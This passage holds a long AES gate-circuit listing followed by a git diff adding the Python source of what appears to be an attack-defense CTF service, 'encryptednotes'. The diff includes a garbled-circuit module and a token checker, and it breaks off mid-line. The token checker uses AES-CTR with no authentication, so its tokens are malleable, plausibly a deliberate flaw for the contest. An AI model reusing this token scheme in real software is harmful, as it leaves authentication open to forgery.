3340 3322 3339 XOR +2 1 3392 3339 3386 XOR +2 1 3389 3395 3341 XOR +2 1 3341 3333 3384 XOR +2 1 3341 3332 3387 XOR +2 1 3387 3386 3383 AND +2 1 3383 3385 3382 XOR +2 1 3383 3338 3378 XOR +2 1 3378 3379 3377 AND +2 1 3377 3385 3376 XOR +2 1 3376 3408 3353 AND +2 1 3384 3382 3381 AND +2 1 3381 3332 3284 XOR +2 1 3381 3338 3380 XOR +2 1 3380 3406 3350 AND +2 1 3380 3399 3359 AND +2 1 3381 3393 3287 XOR +2 1 3287 3323 3283 XOR +2 1 34531 3283 3282 XOR +2 1 34533 3283 3286 XOR +2 1 3377 3336 3291 XOR +2 1 3377 3394 3290 XOR +2 1 3290 3391 3285 XOR +2 1 3285 3286 3368 XOR +2 1 3368 3411 3349 AND +2 1 3368 3400 3358 AND +2 1 3383 3377 3375 XOR +2 1 3385 3375 3374 AND +2 1 3374 3382 3372 XOR +2 1 3380 3372 3371 AND +2 1 3371 3341 3331 XOR +2 1 3331 3333 3370 XOR +2 1 3370 3405 3351 AND +2 1 3359 3351 3316 XOR +2 1 3371 3395 3289 XOR +2 1 3331 3284 3367 XOR +2 1 3367 3397 3361 AND +2 1 3367 3412 3352 AND +2 1 3374 3392 3345 XOR +2 1 3345 3339 3366 XOR +2 1 3366 3407 3355 AND +2 1 34527 3345 3328 XOR +2 1 3328 3289 3281 XOR +2 1 3281 3282 3365 XOR +2 1 3365 3398 3357 AND +2 1 3328 3291 3373 XOR +2 1 3373 3404 3354 AND +2 1 3318 3281 3288 XOR +2 1 3285 3288 3369 XOR +2 1 3369 3410 3347 AND +2 1 3358 3347 3308 XOR +1 1 3308 3304 INV +2 1 3357 3358 3309 XOR +2 1 3373 3402 3363 AND +2 1 3361 3352 3314 XOR +2 1 3369 3401 3356 AND +2 1 3352 3356 3329 XOR +1 1 3329 3307 INV +2 1 3307 3350 3306 XOR +2 1 3366 3403 3364 AND +2 1 3365 3413 3348 AND +2 1 3348 3349 3343 XOR +2 1 3316 3343 3312 XOR +2 1 3354 3343 3325 XOR +2 1 3355 3325 3326 XOR +2 1 3363 3326 3330 XOR +2 1 3364 3330 3335 XOR +2 1 3335 3309 3415 XOR +1 1 3415 34660 INV +2 1 34660 1025 36917 XOR +2 1 3370 3409 3360 AND +2 1 3359 3360 3298 XOR +2 1 3357 3360 3313 XOR +1 1 3313 3310 INV +2 1 3360 3361 32640 XOR +2 1 32640 3335 34658 XOR +2 1 34658 1027 36915 XOR +2 1 3357 32640 3337 XOR +2 1 3353 3337 3303 XOR +2 1 3358 3337 3297 XOR +2 1 3326 3297 34661 XOR +1 1 3303 3300 INV +2 1 34661 1024 36918 XOR +2 1 3307 3312 3311 XOR +2 1 3310 3311 3416 XOR +1 1 3416 34655 INV +2 1 34655 1030 36912 XOR +2 1 3376 34526 3362 AND +2 1 3362 3364 3344 XOR +2 1 3344 3312 3315 XOR +2 1 3306 3344 3302 XOR +2 1 3325 3302 3301 XOR +2 1 3362 3330 3299 XOR +2 1 3298 3299 34657 XOR +2 1 34657 1028 36914 XOR +2 1 3314 3315 3417 XOR +1 1 3417 34654 INV +2 1 3349 3302 3305 XOR +2 1 3304 3305 3414 XOR +1 1 3414 34659 INV +2 1 34659 1026 36916 XOR +2 1 34654 1031 36911 XOR +2 1 3300 3301 34656 XOR +2 1 34656 1029 36913 XOR +1 1 11620 33251 INV +2 1 33251 36447 11436 XOR +2 1 11435 11436 36361 XOR +2 1 36361 1188 34497 XOR +2 1 33251 32836 11441 XOR +2 1 11440 11441 36359 XOR +2 1 34497 34496 3014 XOR +2 1 36359 1190 34495 XOR +2 1 34501 34495 3133 XOR +2 1 34495 34496 3055 XOR +2 1 34495 34497 3037 XOR +2 1 3055 3127 3125 XOR +2 1 34495 3130 3126 XOR +2 1 34496 3037 3039 XOR +2 1 3044 3039 3120 XOR +2 1 34499 3039 3118 XOR +2 1 3133 3118 3114 AND +2 1 3114 3038 3042 XOR +2 1 3130 3126 3113 AND +2 1 34500 3039 3121 XOR +2 1 33251 36448 11433 XOR +2 1 3127 3120 3112 AND +2 1 11432 11433 36362 XOR +2 1 36362 1187 34498 XOR +2 1 34496 34498 3134 XOR +2 1 34498 34500 3040 XOR +2 1 3040 34499 2999 XOR +2 1 3040 3038 3000 XOR +2 1 34498 34501 3132 XOR +2 1 3037 3132 3124 XOR +2 1 3132 3055 3128 XOR +2 1 3132 3121 3111 AND +2 1 3111 3039 3041 XOR +2 1 3124 3128 3117 AND +2 1 3117 3040 3043 XOR +2 1 3043 3041 3047 XOR +2 1 34501 3047 3053 XOR +2 1 3037 3000 3122 XOR +2 1 3131 3122 3109 AND +2 1 3109 3112 3063 XOR +2 1 34494 3124 3123 XOR +2 1 3125 3123 3116 AND +2 1 3042 3063 3016 XOR +2 1 3016 3041 3106 XOR +2 1 3038 3134 3119 XOR +2 1 3134 3119 3110 AND +2 1 3110 3111 3013 XOR +2 1 3013 3014 3061 XOR +2 1 3061 3042 3060 XOR +2 1 3113 3060 3107 XOR +2 1 3110 3063 3057 XOR +2 1 3113 3057 3012 XOR +2 1 34495 3012 3100 XOR +2 1 34494 2999 3129 XOR +2 1 3129 34494 3115 AND +2 1 3109 3115 3067 XOR +2 1 3067 3038 3054 XOR +2 1 3047 3067 3015 XOR +2 1 34499 3015 3059 XOR +2 1 3110 3116 3062 XOR +2 1 3062 3053 3108 XOR +2 1 3108 3107 3104 AND +2 1 3104 3106 3103 XOR +2 1 3104 3059 3099 XOR +2 1 3099 3100 3098 AND +2 1 3098 3115 3010 XOR +2 1 3010 3112 3005 XOR +2 1 3098 3106 3097 XOR +2 1 3097 3129 3074 AND +2 1 3098 3057 3011 XOR +2 1 3097 34494 3083 AND +2 1 3104 3098 3096 XOR +2 1 3106 3096 3095 AND +2 1 3095 3103 3093 XOR +2 1 3095 3113 3066 XOR +2 1 3066 3060 3087 XOR +2 1 3087 3124 3085 AND +2 1 3087 3128 3076 AND +2 1 3083 3085 3065 XOR +2 1 34495 3066 3048 XOR +2 1 3048 3011 3094 XOR +2 1 3094 3125 3075 AND +2 1 3094 3123 3084 AND +2 1 3062 3054 3105 XOR +2 1 3105 3103 3102 AND +2 1 3102 3059 3101 XOR +2 1 3101 3127 3071 AND +2 1 3101 3093 3092 AND +2 1 3092 3116 3009 XOR +2 1 3092 3062 3052 XOR +2 1 3052 3054 3091 XOR +2 1 3091 3126 3072 AND +2 1 3101 3120 3080 AND +2 1 3080 3072 3036 XOR +2 1 3048 3009 3001 XOR +2 1 3091 3130 3081 AND +2 1 3080 3081 3018 XOR +2 1 3102 3053 3004 XOR +2 1 3052 3004 3088 XOR +2 1 3088 3118 3082 AND +2 1 3088 3133 3073 AND +2 1 3102 3114 3007 XOR +2 1 3007 3043 3003 XOR +2 1 34501 3003 3006 XOR +2 1 34499 3003 3002 XOR +2 1 3001 3002 3086 XOR +2 1 3086 3119 3078 AND +2 1 3078 3081 3033 XOR +1 1 3033 3030 INV +2 1 3005 3006 3089 XOR +2 1 3089 3121 3079 AND +2 1 3089 3132 3070 AND +2 1 3078 3079 3029 XOR +2 1 3038 3001 3008 XOR +2 1 3005 3008 3090 XOR +2 1 3090 3131 3068 AND +2 1 3079 3068 3028 XOR +2 1 3090 3122 3077 AND +2 1 3073 3077 3049 XOR +1 1 3049 3027 INV +2 1 3027 3071 3026 XOR +2 1 3081 3082 3050 XOR +2 1 3078 3050 3058 XOR +2 1 3079 3058 3017 XOR +2 1 3074 3058 3023 XOR +1 1 3023 3020 INV +2 1 3026 3065 3022 XOR +2 1 3070 3022 3025 XOR +1 1 3028 3024 INV +2 1 3024 3025 3135 XOR +2 1 3086 3134 3069 AND +2 1 3069 3070 3064 XOR +2 1 3036 3064 3032 XOR +2 1 3065 3032 3035 XOR +2 1 3027 3032 3031 XOR +2 1 3030 3031 3137 XOR +1 1 3137 34623 INV +2 1 34623 1062 36880 XOR +2 1 3075 3064 3045 XOR +2 1 3076 3045 3046 XOR +2 1 3045 3022 3021 XOR +2 1 3020 3021 34624 XOR +2 1 34624 1061 36881 XOR +2 1 3046 3017 34629 XOR +2 1 34629 1056 36886 XOR +2 1 3084 3046 3051 XOR +2 1 3083 3051 3019 XOR +2 1 3018 3019 34625 XOR +2 1 34625 1060 36882 XOR +1 1 3135 34627 INV +2 1 34627 1058 36884 XOR +2 1 3082 3073 3034 XOR +2 1 3034 3035 3138 XOR +1 1 3138 34622 INV +2 1 34622 1063 36879 XOR +2 1 3085 3051 3056 XOR +2 1 3056 3029 3136 XOR +2 1 3050 3056 34626 XOR +2 1 34626 1059 36883 XOR +1 1 3136 34628 INV +2 1 34628 1057 36885 XOR +1 1 11619 33252 INV +2 1 33252 36464 11602 XOR +2 1 11601 11602 36377 XOR +2 1 33252 32829 11607 XOR +2 1 11606 11607 11605 XOR +2 1 33252 36455 11421 XOR +2 1 11421 11422 11691 XOR +2 1 11691 11635 36378 XOR +2 1 36378 1171 34514 XOR +2 1 34514 34517 32493 XOR +1 1 11605 36375 INV +2 1 36375 1174 34511 XOR +2 1 34511 34512 32416 XOR +2 1 32416 32488 32486 XOR +2 1 32493 32416 32489 XOR +2 1 34511 32491 32487 XOR +2 1 32491 32487 32474 AND +2 1 34512 34514 32495 XOR +2 1 32400 32495 32480 XOR +2 1 32495 32480 32471 AND +2 1 36377 1172 34513 XOR +2 1 34513 34512 32376 XOR +2 1 34511 34513 32399 XOR +2 1 32399 32493 32485 XOR +2 1 34510 32485 32484 XOR +2 1 32485 32489 32478 AND +2 1 34512 32399 32401 XOR +2 1 34516 32401 32482 XOR +2 1 32406 32401 32481 XOR +2 1 32488 32481 32473 AND +2 1 32493 32482 32472 AND +2 1 32472 32401 32403 XOR +2 1 34515 32401 32479 XOR +2 1 32486 32484 32477 AND +2 1 32471 32477 32423 XOR +2 1 34517 34511 32494 XOR +2 1 34514 34516 32402 XOR +2 1 32402 34515 32361 XOR +2 1 32402 32400 32362 XOR +2 1 32399 32362 32483 XOR +2 1 32492 32483 32470 AND +2 1 34510 32361 32490 XOR +2 1 32478 32402 32405 XOR +2 1 32490 34510 32476 AND +2 1 32470 32476 32428 XOR +2 1 32428 32400 32415 XOR +2 1 32423 32415 32466 XOR +2 1 32405 32403 32409 XOR +2 1 32409 32428 32377 XOR +2 1 34515 32377 32420 XOR +2 1 34517 32409 32414 XOR +2 1 32423 32414 32469 XOR +2 1 32494 32479 32475 AND +2 1 32475 32400 32404 XOR +2 1 32470 32473 32424 XOR +2 1 32404 32424 32378 XOR +2 1 32378 32403 32467 XOR +2 1 32471 32424 32418 XOR +2 1 32474 32418 32374 XOR +2 1 34511 32374 32461 XOR +2 1 32471 32472 32375 XOR +2 1 32375 32376 32422 XOR +2 1 32422 32404 32421 XOR +2 1 32474 32421 32468 XOR +2 1 32469 32468 32465 AND +2 1 32465 32420 32460 XOR +2 1 32465 32467 32464 XOR +2 1 32466 32464 32463 AND +2 1 32463 32420 32462 XOR +2 1 32462 32481 32441 AND +2 1 32462 32488 32432 AND +2 1 32463 32475 32369 XOR +2 1 32460 32461 32459 AND +2 1 32465 32459 32457 XOR +2 1 32459 32476 32372 XOR +2 1 32372 32473 32367 XOR +2 1 32467 32457 32456 AND +2 1 32456 32464 32454 XOR +2 1 32462 32454 32453 AND +2 1 32453 32477 32371 XOR +2 1 32453 32423 32413 XOR +2 1 32456 32474 32427 XOR +2 1 32427 32421 32448 XOR +2 1 34511 32427 32410 XOR +2 1 32410 32371 32363 XOR +2 1 32459 32418 32373 XOR +2 1 32448 32485 32446 AND +2 1 32413 32415 32452 XOR +2 1 32452 32487 32433 AND +2 1 32441 32433 32398 XOR +2 1 32448 32489 32437 AND +2 1 32400 32363 32370 XOR +2 1 32367 32370 32451 XOR +2 1 32451 32483 32438 AND +2 1 32452 32491 32442 AND +2 1 32441 32442 32380 XOR +2 1 32459 32467 32458 XOR +2 1 32458 34510 32444 AND +2 1 32444 32446 32426 XOR +2 1 32369 32405 32365 XOR +2 1 34515 32365 32364 XOR +2 1 32363 32364 32447 XOR +2 1 32447 32480 32439 AND +2 1 32439 32442 32395 XOR +2 1 32447 32495 32430 AND +1 1 32395 32392 INV +2 1 32410 32373 32455 XOR +2 1 32455 32486 32436 AND +2 1 32455 32484 32445 AND +2 1 34517 32365 32368 XOR +2 1 32367 32368 32450 XOR +2 1 32450 32493 32431 AND +2 1 32451 32492 32429 AND +2 1 32450 32482 32440 AND +2 1 32440 32429 32390 XOR +1 1 32390 32386 INV +2 1 32463 32414 32366 XOR +2 1 32413 32366 32449 XOR +2 1 32449 32494 32434 AND +2 1 32449 32479 32443 AND +2 1 32443 32434 32396 XOR +2 1 32434 32438 32411 XOR +1 1 32411 32389 INV +2 1 32389 32432 32388 XOR +2 1 32388 32426 32384 XOR +2 1 32431 32384 32387 XOR +2 1 32386 32387 32496 XOR +1 1 32496 34643 INV +2 1 34643 1106 36836 XOR +2 1 32430 32431 32425 XOR +2 1 32436 32425 32407 XOR +2 1 32407 32384 32383 XOR +2 1 32398 32425 32394 XOR +2 1 32389 32394 32393 XOR +2 1 32392 32393 32498 XOR +2 1 32426 32394 32397 XOR +2 1 32396 32397 32499 XOR +1 1 32499 34638 INV +2 1 34638 1111 36831 XOR +2 1 32437 32407 32408 XOR +2 1 32445 32408 32412 XOR +2 1 32444 32412 32381 XOR +2 1 32380 32381 34641 XOR +2 1 34641 1108 36834 XOR +2 1 32442 32443 32730 XOR +2 1 32439 32730 32419 XOR +2 1 32440 32419 32379 XOR +2 1 32408 32379 34645 XOR +2 1 32458 32490 32435 AND +2 1 32435 32419 32385 XOR +1 1 32385 32382 INV +2 1 32382 32383 34640 XOR +2 1 34640 1109 36833 XOR +2 1 32446 32412 32417 XOR +2 1 32730 32417 34642 XOR +2 1 34642 1107 36835 XOR +2 1 32439 32440 32391 XOR +2 1 32417 32391 32497 XOR +2 1 34645 1104 36838 XOR +1 1 32498 34639 INV +2 1 34639 1110 36832 XOR +1 1 32497 34644 INV +2 1 34644 1105 36837 XOR +1 1 11625 33253 INV +2 1 33253 36417 11549 XOR +2 1 11549 11550 36293 XOR +2 1 36293 1256 34429 XOR +2 1 34426 34429 2013 XOR +2 1 1918 2013 2005 XOR +2 1 34422 2005 2004 XOR +2 1 2013 1936 2009 XOR +2 1 2005 2009 1998 AND +2 1 1998 1921 1924 XOR +2 1 34427 34429 1919 XOR +2 1 1919 1925 2008 XOR +2 1 1921 1919 1881 XOR +2 1 2008 2001 1993 AND +2 1 1919 2015 2000 XOR +2 1 2015 2000 1991 AND +2 1 1936 2008 2006 XOR +2 1 2006 2004 1997 AND +2 1 2013 2002 1992 AND +2 1 1991 1992 1894 XOR +2 1 1894 1895 1942 XOR +2 1 34429 34424 2012 XOR +2 1 1992 1920 1922 XOR +2 1 1924 1922 1928 XOR +2 1 34429 1928 1934 XOR +2 1 34429 34423 2014 XOR +2 1 2014 1999 1995 AND +2 1 1995 1919 1923 XOR +2 1 1942 1923 1941 XOR +2 1 1994 1941 1988 XOR +2 1 33253 33110 11412 XOR +2 1 11412 11413 11695 XOR +2 1 11695 11687 36279 XOR +2 1 36279 1270 34415 XOR +2 1 34415 34416 1796 XOR +2 1 1796 1868 1866 XOR +2 1 34415 34417 1778 XOR +2 1 34416 1778 1780 XOR +2 1 34420 1780 1862 XOR +2 1 34419 1780 1859 XOR +2 1 34421 34415 1874 XOR +2 1 1874 1859 1855 AND +2 1 34415 1871 1867 XOR +2 1 1871 1867 1854 AND +2 1 1855 1779 1783 XOR +2 1 1785 1780 1861 XOR +2 1 1868 1861 1853 AND +2 1 1918 1881 2003 XOR +2 1 2012 2003 1990 AND +2 1 1990 1993 1944 XOR +2 1 1923 1944 1897 XOR +2 1 1897 1922 1987 XOR +2 1 1991 1944 1938 XOR +2 1 1994 1938 1893 XOR +2 1 34423 1893 1981 XOR +2 1 1990 1996 1948 XOR +2 1 1928 1948 1896 XOR +2 1 1948 1919 1935 XOR +2 1 34427 1896 1940 XOR +2 1 33253 36400 11570 XOR +2 1 11569 11570 36282 XOR +2 1 36282 1267 34418 XOR +2 1 34418 34420 1781 XOR +2 1 1781 1779 1741 XOR +2 1 1781 34419 1740 XOR +2 1 34414 1740 1870 XOR +2 1 1870 34414 1856 AND +2 1 34416 34418 1875 XOR +2 1 1779 1875 1860 XOR +2 1 1875 1860 1851 AND +2 1 34418 34421 1873 XOR +2 1 1873 1796 1869 XOR +2 1 1778 1873 1865 XOR +2 1 34414 1865 1864 XOR +2 1 1865 1869 1858 AND +2 1 1866 1864 1857 AND +2 1 1851 1857 1803 XOR +2 1 1873 1862 1852 AND +2 1 1852 1780 1782 XOR +2 1 1851 1852 1754 XOR +2 1 1754 1755 1802 XOR +2 1 1858 1781 1784 XOR +2 1 1784 1782 1788 XOR +2 1 34421 1788 1794 XOR +2 1 1803 1794 1849 XOR +2 1 1802 1783 1801 XOR +2 1 1854 1801 1848 XOR +2 1 1849 1848 1845 AND +2 1 1991 1997 1943 XOR +2 1 1943 1935 1986 XOR +2 1 1943 1934 1989 XOR +2 1 1989 1988 1985 AND +2 1 1985 1987 1984 XOR +2 1 1986 1984 1983 AND +2 1 1983 1934 1885 XOR +2 1 1983 1995 1888 XOR +2 1 1888 1924 1884 XOR +2 1 34429 1884 1887 XOR +2 1 34427 1884 1883 XOR +2 1 1983 1940 1982 XOR +2 1 1985 1940 1980 XOR +2 1 1982 2008 1952 AND +2 1 1982 2001 1961 AND +2 1 1980 1981 1979 AND +2 1 1979 1938 1892 XOR +2 1 1979 1987 1978 XOR +2 1 1979 1996 1891 XOR +2 1 1891 1993 1886 XOR +2 1 1886 1887 1970 XOR +2 1 1970 2002 1960 AND +2 1 1970 2013 1951 AND +2 1 1985 1979 1977 XOR +2 1 1987 1977 1976 AND +2 1 1976 1994 1947 XOR +2 1 34423 1947 1929 XOR +2 1 1929 1892 1975 XOR +2 1 1975 2004 1965 AND +2 1 1947 1941 1968 XOR +2 1 1968 2009 1957 AND +2 1 1978 2010 1955 AND +2 1 1978 34422 1964 AND +2 1 1975 2006 1956 AND +2 1 1976 1984 1974 XOR +2 1 1982 1974 1973 AND +2 1 1973 1997 1890 XOR +2 1 1929 1890 1882 XOR +2 1 1882 1883 1967 XOR +2 1 1967 2015 1950 AND +2 1 1967 2000 1959 AND +2 1 1950 1951 1945 XOR +2 1 1956 1945 1926 XOR +2 1 1957 1926 1927 XOR +2 1 1959 1960 1910 XOR +2 1 1965 1927 1932 XOR +2 1 1964 1932 1900 XOR +2 1 1919 1882 1889 XOR +2 1 1886 1889 1971 XOR +2 1 1971 2003 1958 AND +2 1 1971 2012 1949 AND +2 1 1960 1949 1909 XOR +1 1 1909 1905 INV +2 1 1968 2005 1966 AND +2 1 1966 1932 1937 XOR +2 1 1937 1910 2017 XOR +1 1 2017 34556 INV +2 1 34556 1097 36845 XOR +2 1 1964 1966 1946 XOR +2 1 1973 1943 1933 XOR +2 1 1933 1885 1969 XOR +2 1 1969 1999 1963 AND +2 1 1933 1935 1972 XOR +2 1 1972 2007 1953 AND +2 1 1961 1953 1917 XOR +2 1 1972 2011 1962 AND +2 1 1962 1963 1931 XOR +2 1 1931 1937 34554 XOR +2 1 1959 1931 1939 XOR +2 1 1955 1939 1904 XOR +2 1 1959 1962 1914 XOR +2 1 1960 1939 1898 XOR +2 1 34554 1099 36843 XOR +2 1 1961 1962 1899 XOR +2 1 1927 1898 34557 XOR +2 1 1917 1945 1913 XOR +2 1 1946 1913 1916 XOR +1 1 1914 1911 INV +2 1 1899 1900 34553 XOR +2 1 34553 1100 36842 XOR +1 1 1904 1901 INV +2 1 34557 1096 36846 XOR +2 1 1969 2014 1954 AND +2 1 1963 1954 1915 XOR +2 1 1954 1958 1930 XOR +1 1 1930 1908 INV +2 1 1908 1913 1912 XOR +2 1 1908 1952 1907 XOR +2 1 1907 1946 1903 XOR +2 1 1951 1903 1906 XOR +2 1 1926 1903 1902 XOR +2 1 1901 1902 34552 XOR +2 1 1905 1906 2016 XOR +1 1 2016 34555 INV +2 1 1911 1912 2018 XOR +1 1 2018 34551 INV +2 1 34551 1102 36840 XOR +2 1 34555 1098 36844 XOR +2 1 1915 1916 2019 XOR +1 1 2019 34550 INV +2 1 34550 1103 36839 XOR +2 1 34552 1101 36841 XOR +2 1 1778 1741 1863 XOR +2 1 1872 1863 1850 AND +2 1 1850 1856 1808 XOR +2 1 1808 1779 1795 XOR +2 1 1788 1808 1756 XOR +2 1 1850 1853 1804 XOR +2 1 1851 1804 1798 XOR +2 1 1854 1798 1753 XOR +2 1 34415 1753 1841 XOR +2 1 1803 1795 1846 XOR +2 1 1783 1804 1757 XOR +2 1 1757 1782 1847 XOR +2 1 1845 1847 1844 XOR +2 1 1846 1844 1843 AND +2 1 1843 1794 1745 XOR +2 1 34419 1756 1800 XOR +2 1 1845 1800 1840 XOR +2 1 1843 1800 1842 XOR +2 1 1842 1868 1812 AND +2 1 1840 1841 1839 AND +2 1 1839 1798 1752 XOR +2 1 1839 1856 1751 XOR +2 1 1751 1853 1746 XOR +2 1 1845 1839 1837 XOR +2 1 1847 1837 1836 AND +2 1 1839 1847 1838 XOR +2 1 1838 34414 1824 AND +2 1 1838 1870 1815 AND +2 1 1836 1854 1807 XOR +2 1 1807 1801 1828 XOR +2 1 1828 1865 1826 AND +2 1 1824 1826 1806 XOR +2 1 34415 1807 1789 XOR +2 1 1789 1752 1835 XOR +2 1 1835 1864 1825 AND +2 1 1835 1866 1816 AND +2 1 1828 1869 1817 AND +2 1 1842 1861 1821 AND +2 1 1836 1844 1834 XOR +2 1 1842 1834 1833 AND +2 1 1833 1857 1750 XOR +2 1 1789 1750 1742 XOR +2 1 1833 1803 1793 XOR +2 1 1793 1795 1832 XOR +2 1 1832 1867 1813 AND +2 1 1821 1813 1777 XOR +2 1 1779 1742 1749 XOR +2 1 1746 1749 1831 XOR +2 1 1831 1863 1818 AND +2 1 1832 1871 1822 AND +2 1 1821 1822 1759 XOR +2 1 1831 1872 1809 AND +2 1 1843 1855 1748 XOR +2 1 1748 1784 1744 XOR +2 1 34421 1744 1747 XOR +2 1 1746 1747 1830 XOR +2 1 1830 1873 1811 AND +2 1 1830 1862 1820 AND +2 1 1820 1809 1769 XOR +1 1 1769 1765 INV +2 1 34419 1744 1743 XOR +2 1 1742 1743 1827 XOR +2 1 1827 1860 1819 AND +2 1 1827 1875 1810 AND +2 1 1810 1811 1805 XOR +2 1 1777 1805 1773 XOR +2 1 1806 1773 1776 XOR +2 1 1819 1822 1774 XOR +1 1 1774 1771 INV +2 1 1819 1820 1770 XOR +2 1 1816 1805 1786 XOR +2 1 1817 1786 1787 XOR +2 1 1825 1787 1792 XOR +2 1 1826 1792 1797 XOR +2 1 1824 1792 1760 XOR +2 1 1759 1760 34545 XOR +2 1 34545 1076 36866 XOR +2 1 1797 1770 1877 XOR +1 1 1877 34548 INV +2 1 34548 1073 36869 XOR +2 1 1793 1745 1829 XOR +2 1 1829 1859 1823 AND +2 1 1822 1823 1791 XOR +2 1 1819 1791 1799 XOR +2 1 1815 1799 1764 XOR +2 1 1820 1799 1758 XOR +1 1 1764 1761 INV +2 1 1829 1874 1814 AND +2 1 1814 1818 1790 XOR +2 1 1823 1814 1775 XOR +2 1 1775 1776 1879 XOR +1 1 1879 34542 INV +2 1 1787 1758 34549 XOR +2 1 34549 1072 36870 XOR +2 1 34542 1079 36863 XOR +2 1 1791 1797 34546 XOR +2 1 34546 1075 36867 XOR +1 1 1790 1768 INV +2 1 1768 1812 1767 XOR +2 1 1767 1806 1763 XOR +2 1 1811 1763 1766 XOR +2 1 1786 1763 1762 XOR +2 1 1761 1762 34544 XOR +2 1 34544 1077 36865 XOR +2 1 1765 1766 1876 XOR +1 1 1876 34547 INV +2 1 34547 1074 36868 XOR +2 1 1768 1773 1772 XOR +2 1 1771 1772 1878 XOR +1 1 1878 34543 INV +2 1 34543 1078 36864 XOR diff --git a/services/service2/src/encryptednotes/app/auth.py b/services/service2/src/encryptednotes/app/auth.py new file mode 100644 index 0000000..f4b425a --- /dev/null +++ b/services/service2/src/encryptednotes/app/auth.py @@ -0,0 +1,33 @@ +import json +from Crypto.Cipher import AES +import sys +import time +import string +import os + +APP_KEY = os.environ["EncryptedNotesKey"].encode() + +ALPH = string.ascii_letters + string.digits + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +def handle_token(token): + try: + app_token, service_token = [bytes.fromhex(x) for x in token.split(".")] + cipher = AES.new(APP_KEY, AES.MODE_CTR, nonce = service_token[:8], initial_value = service_token[8:16]) + service_token = json.loads(cipher.decrypt(service_token[16:])) + user1 = bytes.fromhex(service_token["user"]) + key = bytes.fromhex(service_token["key"]) + cipher = AES.new(key, AES.MODE_CTR, nonce = app_token[:8], initial_value = app_token[8:16]) + app_token = json.loads(cipher.decrypt(app_token[16:])) + user2 = bytes.fromhex(app_token["user"]) + cur_time = int(time.time()) + assert service_token["type"] == "SERVICE_TOKEN" + assert app_token["type"] == "APP_TOKEN" + assert abs(cur_time-int(app_token["ts"]))<120 and abs(cur_time-int(service_token["ts"]))<120 + assert user1 == user2 + assert validate_string(user1.decode()) + return user1.decode() + except: + return None diff --git a/services/service2/src/encryptednotes/app/gates.py b/services/service2/src/encryptednotes/app/gates.py new file mode 100644 index 0000000..1689177 --- /dev/null +++ b/services/service2/src/encryptednotes/app/gates.py @@ -0,0 +1,252 @@ +from hashlib import sha256 +import os +from itertools import product + +VAL_LENGTH = 5 +PAD_LENGTH = 3 + + +def xor(a, b): + return bytes(x ^ y for x, y in zip(a, b)) + + +def rnd(): + return os.urandom(VAL_LENGTH) + + +def H(k): + return sha256(k).digest() + + +def enc(k, out): + k = H(k) + val = b"\0"*PAD_LENGTH + out + return xor(k, val) + + +def dec(k, x): + k = H(k) + val = xor(k, x) + if val[:PAD_LENGTH] == b"\0"*PAD_LENGTH: + return val[PAD_LENGTH:] + + +OPS = { + "AND": lambda x, y: x & y, + "XOR": lambda x, y: x ^ y, + "INV": lambda x: 1-x +} + + +class Gate: + def __init__(self, idx, inputs, op, opv): + self.idx = idx + self.inputs = inputs + self.op = op + self.opv = opv + + def garble(self, R): + if hasattr(self, "_cache"): + return self._cache + self._cache = self._garble(R) + return self._cache + + def _garble(self, R): + n = len(self.inputs) + for g in self.inputs: + g.garble(R) + + if self.opv == "XOR": + val = xor(self.inputs[0].wires[0], self.inputs[1].wires[0]) + self.wires = [val, xor(val, R)] + self.gate = [] + return + + if self.opv == "INV": + w = self.inputs[0].wires + self.wires = [w[1], w[0]] + self.gate = [] + return + + r = rnd() + wires = [r, xor(r, R)] + g = [] + for e in product(range(2), repeat=n): + k = b"".join(self.inputs[i].wires[e[i]] for i in range(n)) + res = self.op(*e) + val = enc(k, wires[res]) + g.append(val) + + self.wires = wires + self.gate = g + + def encode(self, to_hex): + gate = self.gate + if to_hex: + gate = [r.hex() for r in gate] + return (self.idx, self.opv, [x.idx for x in self.inputs], gate) + + def encode_wires(self, to_hex): + wires = self.wires + if to_hex: + wires = [wires[0].hex(), wires[1].hex()] + return wires + + def visit(self): + if hasattr(self, "_vcache"): + return self._vcache + self._vcache = self._visit() + return self._vcache + + def _visit(self): + if self.opv == "INV": + return f"NOT ({self.inputs[0].visit()})" + a = self.inputs[0].visit() + if len(a) >= 10000: + return "TRUNC" + return f"{self.idx}" + b = self.inputs[1].visit() + if len(b) >= 10000: + return "TRUNC" + return f"{self.idx}" + return f"({a}) {self.opv} ({b})" + + +class Input(Gate): + def __init__(self, idx): + self.idx = idx + + def _garble(self, R): + r = rnd() + self.wires = [r, xor(r, R)] + + def visit(self): + return str(self.idx) + + +def decode_gate(opv, g, ins, to_hex): + if to_hex: + ins = [bytes.fromhex(x) for x in ins] + g = [bytes.fromhex(r) for r in g] + if opv == "INV": + res = ins[0] + elif opv == "XOR": + res = xor(ins[0], ins[1]) + else: + for x in g: + k = b"".join(ins) + val = dec(k, x) + if val is not None: + res = val + break + if to_hex: + return res.hex() + return res + + +INDEX = 0 +def get_idx(): + global INDEX + val = INDEX + INDEX += 1 + return val + + +def build_circuit_custom(): + global INDEX + INDEX = 0 + + inputA = [Input(get_idx()) for i in range(4)] + inputB = [Input(get_idx()) for i in range(4)] + + gates1 = [Gate(get_idx(), [inputA[i], inputB[i]], OPS["AND"], "AND") for i in range(4)] + gates2 = [Gate(get_idx(), [gates1[0], gates1[1]], OPS["XOR"], "XOR"), Gate(get_idx(), [gates1[2], gates1[3]], OPS["XOR"], "XOR")] + out = Gate(get_idx(), [gates2[0], gates2[1]], OPS["XOR"], "XOR") + + gates = gates1+gates2 + return (inputA, inputB), gates, [out] + + +def build_circuit_echo(n=128): + global INDEX + INDEX = 0 + inputA = [Input(get_idx()) for i in range(n)] + inputB = [Input(get_idx()) for i in range(n)] + + f = lambda x, y: y + + out = [Gate(get_idx(), [inputA[i], inputB[i]], f, "OP1") for i in range(n)] + return (inputA, inputB), [], out + + +def build_circuit_AES(filename): + with open(filename) as f: + the_order = [] + ngates, nwires = map(int, f.readline().strip().split()) + niv, *nis = map(int, f.readline().strip().split()) + nov, *nos = map(int, f.readline().strip().split()) + f.readline() + inputA = [Input(i) for i in range(nis[0])] + inputB = [Input(i) for i in range(nis[0], nis[0]+nis[1])] + inputs = inputA+inputB + + gates = inputs + [None for _ in range(nwires - sum(nis))] + for j in range(ngates): + i, o, *op, out, g = f.readline().strip().split() + op = list(map(int, op)) + out = int(out) + the_order.append(out) + i = int(i) + o = int(o) + assert o == 1 + assert gates[out] is None + assert all(gates[x] is not None for x in op) + gate = Gate(out, [gates[x] for x in op], OPS[g], g) + gates[out] = gate + assert not any(x is None for x in gates) + n_outs = sum(nos) + n_ins = sum(nis) + last = 